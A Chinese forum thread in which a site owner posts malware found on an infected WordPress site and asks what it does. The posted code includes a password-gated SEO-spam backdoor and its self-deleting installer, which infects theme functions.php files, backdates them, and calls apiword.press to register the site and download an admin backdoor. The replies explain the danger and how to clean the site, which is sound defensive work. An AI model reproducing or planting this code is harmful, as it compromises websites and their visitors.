我一直在清理一个受感染的Wordpress站点，发现了以下恶意代码。我想知道这些代码是做什么的?例如窃取用户名，密码或其他任何东西。恶意软件将一些代码添加到wp-includes/post.php中，然后创建一个文件wp-includes/wp-cd.php这里是base64解码
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '{$PASSWORD}'))
{
switch ($_REQUEST['action'])
{
case 'get_all_links';
foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
{
$data['code'] = '';
if (preg_match('!<div id="wp_cd_code">(.*?)</div>!s', $data['post_content'], $_))
{
$data['code'] = $_[1];
}
print '<e><w>1</w><url>' . $data['guid'] . '</url><code>' . $data['code'] . '</code><id>' . $data['ID'] . '</id></e>' . "'r'n";
}
break;
case 'set_id_links';
if (isset($_REQUEST['data']))
{
$data = $wpdb -> get_row('SELECT `post_content` FROM `' . $wpdb->prefix . 'posts` WHERE `ID` = "'.mysql_escape_string($_REQUEST['id']).'"');
$post_content = preg_replace('!<div id="wp_cd_code">(.*?)</div>!s', '', $data -> post_content);
if (!empty($_REQUEST['data'])) $post_content = $post_content . '<div id="wp_cd_code">' . stripcslashes($_REQUEST['data']) . '</div>';
if ($wpdb->query('UPDATE `' . $wpdb->prefix . 'posts` SET `post_content` = "' . mysql_escape_string($post_content) . '" WHERE `ID` = "' . mysql_escape_string($_REQUEST['id']) . '"') !== false)
{
print "true";
}
}
break;
case 'create_page';
if (isset($_REQUEST['remove_page']))
{
if ($wpdb -> query('DELETE FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "/'.mysql_escape_string($_REQUEST['url']).'"'))
{
print "true";
}
}
elseif (isset($_REQUEST['content']) && !empty($_REQUEST['content']))
{
if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"'))
{
print "true";
}
}
break;
default: print "ERROR_WP_ACTION WP_URL_CD";
}
die("");
}
if ( $wpdb->get_var('SELECT count(*) FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string( $_SERVER['REQUEST_URI'] ).'"') == '1' )
{
$data = $wpdb -> get_row('SELECT * FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string($_SERVER['REQUEST_URI']).'"');
if ($data -> full_content)
{
print stripslashes($data -> content);
}
else
{
print '<!DOCTYPE html>';
print '<html ';
language_attributes();
print ' class="no-js">';
print '<head>';
print '<title>'.stripslashes($data -> title).'</title>';
print '<meta name="Keywords" content="'.stripslashes($data -> keywords).'" />';
print '<meta name="Description" content="'.stripslashes($data -> description).'" />';
print '<meta name="robots" content="index, follow" />';
print '<meta charset="';
bloginfo( 'charset' );
print '" />';
print '<meta name="viewport" content="width=device-width">';
print '<link rel="profile" href="http://gmpg.org/xfn/11">';
print '<link rel="pingback" href="';
bloginfo( 'pingback_url' );
print '">';
wp_head();
print '</head>';
print '<body>';
print '<div id="content" class="site-content">';
print stripslashes($data -> content);
get_search_form();
get_sidebar();
get_footer();
}
exit;
}
?>
这是恶意软件添加的wp-cd.php文件
<?php
//install_code
$install_code = 'PD9waHAKCmlmIChpc3NldCgkX1JFUVVFU1RbJ2FjdGlvbiddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3Bhc3N3b3JkJ10pICYmICgkX1JFUVVFU1RbJ3Bhc3N3b3JkJ10gPT0gJ3skUEFTU1dPUkR9JykpCgl7CgkJc3dpdGNoICgkX1JFUVVFU1RbJ2FjdGlvbiddKQoJCQl7CgkJCQljYXNlICdnZXRfYWxsX2xpbmtzJzsKCQkJCQlmb3JlYWNoICgkd3BkYi0+Z2V0X3Jlc3VsdHMoJ1NFTEVDVCAqIEZST00gYCcgLiAkd3BkYi0+cHJlZml4IC4gJ3Bvc3RzYCBXSEVSRSBgcG9zdF9zdGF0dXNgID0gInB1Ymxpc2giIEFORCBgcG9zdF90eXBlYCA9ICJwb3N0IiBPUkRFUiBCWSBgSURgIERFU0MnLCBBUlJBWV9BKSBhcyAkZGF0YSkKCQkJCQkJewoJCQkJCQkJJGRhdGFbJ2NvZGUnXSA9ICcnOwoJCQkJCQkJCgkJCQkJCQlpZiAocHJlZ19tYXRjaCgnITxkaXYgaWQ9IndwX2NkX2NvZGUiPiguKj8pPC9kaXY+IXMnLCAkZGF0YVsncG9zdF9jb250ZW50J10sICRfKSkKCQkJCQkJCQl7CgkJCQkJCQkJCSRkYXRhWydjb2RlJ10gPSAkX1sxXTsKCQkJCQkJCQl9CgkJCQkJCQkKCQkJCQkJCXByaW50ICc8ZT48dz4xPC93Pjx1cmw+JyAuICRkYXRhWydndWlkJ10gLiAnPC91cmw+PGNvZGU+JyAuICRkYXRhWydjb2RlJ10gLiAnPC9jb2RlPjxpZD4nIC4gJGRhdGFbJ0lEJ10gLiAnPC9pZD48L2U+JyAuICJcclxuIjsKCQkJCQkJfQoJCQkJYnJlYWs7CgkJCQkKCQkJCWNhc2UgJ3NldF9pZF9saW5rcyc7CgkJCQkJaWYgKGlzc2V0KCRfUkVRVUVTVFsnZGF0YSddKSkKCQkJCQkJewoJCQkJCQkJJGRhdGEgPSAkd3BkYiAtPiBnZXRfcm93KCdTRUxFQ1QgYHBvc3RfY29udGVudGAgRlJPTSBgJyAuICR3cGRiLT5wcmVmaXggLiAncG9zdHNgIFdIRVJFIGBJRGAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnaWQnXSkuJyInKTsKCQkJCQkJCQoJCQkJCQkJJHBvc3RfY29udGVudCA9IHByZWdfcmVwbGFjZSgnITxkaXYgaWQ9IndwX2NkX2NvZGUiPiguKj8pPC9kaXY+IXMnLCAnJywgJGRhdGEgLT4gcG9zdF9jb250ZW50KTsKCQkJCQkJCWlmICghZW1wdHkoJF9SRVFVRVNUWydkYXRhJ10pKSAkcG9zdF9jb250ZW50ID0gJHBvc3RfY29udGVudCAuICc8ZGl2IGlkPSJ3cF9jZF9jb2RlIj4nIC4gc3RyaXBjc2xhc2hlcygkX1JFUVVFU1RbJ2RhdGEnXSkgLiAnPC9kaXY+JzsKCgkJCQkJCQlpZiAoJHdwZGItPnF1ZXJ5KCdVUERBVEUgYCcgLiAkd3BkYi0+cHJlZml4IC4gJ3Bvc3RzYCBTRVQgYHBvc3RfY29udGVudGAgPSAiJyAuIG15c3FsX2VzY2FwZV9zdHJpbmcoJHBvc3RfY29udGVudCkgLiAnIiBXSEVSRSBgSURgID0gIicgLiBteXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnaWQnXSkgLiAnIicpICE9PSBmYWxzZSkKCQkJCQkJCQl7CgkJCQkJCQkJCXByaW50ICJ0cnVlIjsKCQkJCQkJCQl9CgkJCQkJCX0KCQkJCWJyZWFrOwoJCQkJCgkJCQljYXNlICdjcmVhdGVfcGFnZSc7CgkJCQkJaWYgKGlzc2V0KCRfUkVRVUVTVFsncmVtb3ZlX3BhZ2UnXSkpCgkJCQkJCXsKCQkJCQkJCWlmICgkd3BkYiAtPiBxdWVyeSgnREVMRVRFIEZST00gYCcgLiAkd3BkYi0+cHJlZml4IC4gJ2RhdGFsaXN0YCBXSEVSRSBgdXJsYCA9ICIvJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsndXJsJ10pLiciJykpCgkJCQkJCQkJewoJCQkJCQkJCQlwcmludCAidHJ1ZSI7CgkJCQkJCQkJfQoJCQkJCQl9CgkJCQkJZWxzZWlmIChpc3NldCgkX1JFUVVFU1RbJ2NvbnRlbnQnXSkgJiYgIWVtcHR5KCRfUkVRVUVTVFsnY29udGVudCddKSkKCQkJCQkJewoJCQkJCQkJaWYgKCR3cGRiIC0+IHF1ZXJ5KCdJTlNFUlQgSU5UTyBgJyAuICR3cGRiLT5wcmVmaXggLiAnZGF0YWxpc3RgIFNFVCBgdXJsYCA9ICIvJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsndXJsJ10pLiciLCBgdGl0bGVgID0gIicubXlzcWxfZXNjYXBlX3N0cmluZygkX1JFUVVFU1RbJ3RpdGxlJ10pLiciLCBga2V5d29yZHNgID0gIicubXlzcWxfZXNjYXBlX3N0cmluZygkX1JFUVVFU1RbJ2tleXdvcmRzJ10pLiciLCBgZGVzY3JpcHRpb25gID0gIicubXlzcWxfZXNjYXBlX3N0cmluZygkX1JFUVVFU1RbJ2Rlc2NyaXB0aW9uJ10pLiciLCBgY29udGVudGAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnY29udGVudCddKS4nIiwgYGZ1bGxfY29udGVudGAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnZnVsbF9jb250ZW50J10pLiciIE9OIERVUExJQ0FURSBLRVkgVVBEQVRFIGB0aXRsZWAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsndGl0bGUnXSkuJyIsIGBrZXl3b3Jkc2AgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsna2V5d29yZHMnXSkuJyIsIGBkZXNjcmlwdGlvbmAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnZGVzY3JpcHRpb24nXSkuJyIsIGBjb250ZW50YCA9ICInLm15c3FsX2VzY2FwZV9zdHJpbmcodXJsZGVjb2RlKCRfUkVRVUVTVFsnY29udGVudCddKSkuJyIsIGBmdWxsX2NvbnRlbnRgID0gIicubXlzcWxfZXNjYXBlX3N0cmluZygkX1JFUVVFU1RbJ2Z1bGxfY29udGVudCddKS4nIicpKQoJCQkJCQkJCXsKCQkJCQkJCQkJcHJpbnQgInRydWUiOwoJCQkJCQkJCX0KCQkJCQkJfQoJCQkJYnJlYWs7CgkJCQkKCQkJCWRlZmF1bHQ6IHByaW50ICJFUlJPUl9XUF9BQ1RJT04gV1BfVVJMX0NEIjsKCQkJfQoJCQkKCQlkaWUoIiIpOwoJfQoKCQppZiAoICR3cGRiLT5nZXRfdmFyKCdTRUxFQ1QgY291bnQoKikgRlJPTSBgJyAuICR3cGRiLT5wcmVmaXggLiAnZGF0YWxpc3RgIFdIRVJFIGB1cmxgID0gIicubXlzcWxfZXNjYXBlX3N0cmluZyggJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10gKS4nIicpID09ICcxJyApCgl7CgkJJGRhdGEgPSAkd3BkYiAtPiBnZXRfcm93KCdTRUxFQ1QgKiBGUk9NIGAnIC4gJHdwZGItPnByZWZpeCAuICdkYXRhbGlzdGAgV0hFUkUgYHVybGAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKS4nIicpOwoJCWlmICgkZGF0YSAtPiBmdWxsX2NvbnRlbnQpCgkJCXsKCQkJCXByaW50IHN0cmlwc2xhc2hlcygkZGF0YSAtPiBjb250ZW50KTsKCQkJfQoJCWVsc2UKCQkJewoJCQkJcHJpbnQgJzwhRE9DVFlQRSBodG1sPic7CgkJCQlwcmludCAnPGh0bWwgJzsKCQkJCWxhbmd1YWdlX2F0dHJpYnV0ZXMoKTsKCQkJCXByaW50ICcgY2xhc3M9Im5vLWpzIj4nOwoJCQkJcHJpbnQgJzxoZWFkPic7CgkJCQlwcmludCAnPHRpdGxlPicuc3RyaXBzbGFzaGVzKCRkYXRhIC0+IHRpdGxlKS4nPC90aXRsZT4nOwoJCQkJcHJpbnQgJzxtZXRhIG5hbWU9IktleXdvcmRzIiBjb250ZW50PSInLnN0cmlwc2xhc2hlcygkZGF0YSAtPiBrZXl3b3JkcykuJyIgLz4nOwoJCQkJcHJpbnQgJzxtZXRhIG5hbWU9IkRlc2NyaXB0aW9uIiBjb250ZW50PSInLnN0cmlwc2xhc2hlcygkZGF0YSAtPiBkZXNjcmlwdGlvbikuJyIgLz4nOwoJCQkJcHJpbnQgJzxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0iaW5kZXgsIGZvbGxvdyIgLz4nOwoJCQkJcHJpbnQgJzxtZXRhIGNoYXJzZXQ9Iic7CgkJCQlibG9naW5mbyggJ2NoYXJzZXQnICk7CgkJCQlwcmludCAnIiAvPic7CgkJCQlwcmludCAnPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCI+JzsKCQkJCXByaW50ICc8bGluayByZWw9InByb2ZpbGUiIGhyZWY9Imh0dHA6Ly9nbXBnLm9yZy94Zm4vMTEiPic7CgkJCQlwcmludCAnPGxpbmsgcmVsPSJwaW5nYmFjayIgaHJlZj0iJzsKCQkJCWJsb2dpbmZvKCAncGluZ2JhY2tfdXJsJyApOwoJCQkJcHJpbnQgJyI+JzsKCQkJCXdwX2hlYWQoKTsKCQkJCXByaW50ICc8L2hlYWQ+JzsKCQkJCXByaW50ICc8Ym9keT4nOwoJCQkJcHJpbnQgJzxkaXYgaWQ9ImNvbnRlbnQiIGNsYXNzPSJzaXRlLWNvbnRlbnQiPic7CgkJCQlwcmludCBzdHJpcHNsYXNoZXMoJGRhdGEgLT4gY29udGVudCk7CgkJCQlnZXRfc2VhcmNoX2Zvcm0oKTsKCQkJCWdldF9zaWRlYmFyKCk7CgkJCQlnZXRfZm9vdGVyKCk7CgkJCX0KCQkJCgkJZXhpdDsKCX0KCgo/Pg==';
$install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);
$install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
if ($wpdb -> query('CREATE TABLE IF NOT EXISTS `' . $wpdb->prefix . 'datalist` ( `url` varchar(255) NOT NULL, `title` varchar(255) NOT NULL, `keywords` varchar(255) NOT NULL, `description` varchar(255) NOT NULL, `content` longtext NOT NULL, `full_content` smallint(6) NOT NULL, PRIMARY KEY (`url`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8;'))
{
$themes = $_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'themes';
$ping = true;
if ($list = scandir( $themes ))
{
foreach ($list as $_)
{
if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
{
$time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php');
if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
{
if (strpos($content, 'WP_URL_CD') === false)
{
$content = $install_code . $content ;
@file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content);
touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time );
}
else
{
$ping = false;
}
}
}
}
if ($ping) {
$content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
@file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
}
}
}
if ($file = @file_get_contents(__FILE__))
{
$file = preg_replace('!//install_code.*//install_code_end!s', '', $file);
$file = preg_replace('!<'?php's*'?>!s', '', $file);
@file_put_contents(__FILE__, $file);
}
//install_code_end
?><?php error_reporting(0);?>
我知道这是一个古老的问题，但也许我的答案会帮助别人。这里粘贴的代码来自非常危险的恶意软件，除了在post.php和functions.php中修改之外，它还创建了一个包含后门的文件:/wp-includes/class.wp.php -此时恶意软件创建者几乎可以做任何他喜欢的事情。
在感染的那一刻，恶意软件正在到处寻找WordPress的其他副本，然后也感染它们。
检测到这个恶意软件，你必须假设所有可以从WordPress目录中访问和覆盖的文件都可能被感染或修改。此恶意软件的损害和范围仅受感染时web服务器手头的文件和用户权限的限制。
我最好的建议是删除所有可能被恶意软件接触过的东西，并加载感染前的文件和数据库备份。重要的是要知道它是什么时候发生的，所以首先要找到感染源(通常是从可疑网站下载的修改的"高级"WordPress插件，以节省一些钱-但是，嘿，我不是在评判)，并检查它是什么时候安装的。
我解密并收集了这个恶意软件的完整源代码，并把它放在GitHub上，所以你可以自己分析它的代码:https://github.com/ecrider/Black-SEO-WordPress-Malware
乍一看，这段代码并没有窃取密码，而是从您的帖子中获取数据。要清除这个，你需要更新WordPress的所有核心文件。并重新安装所有插件和主题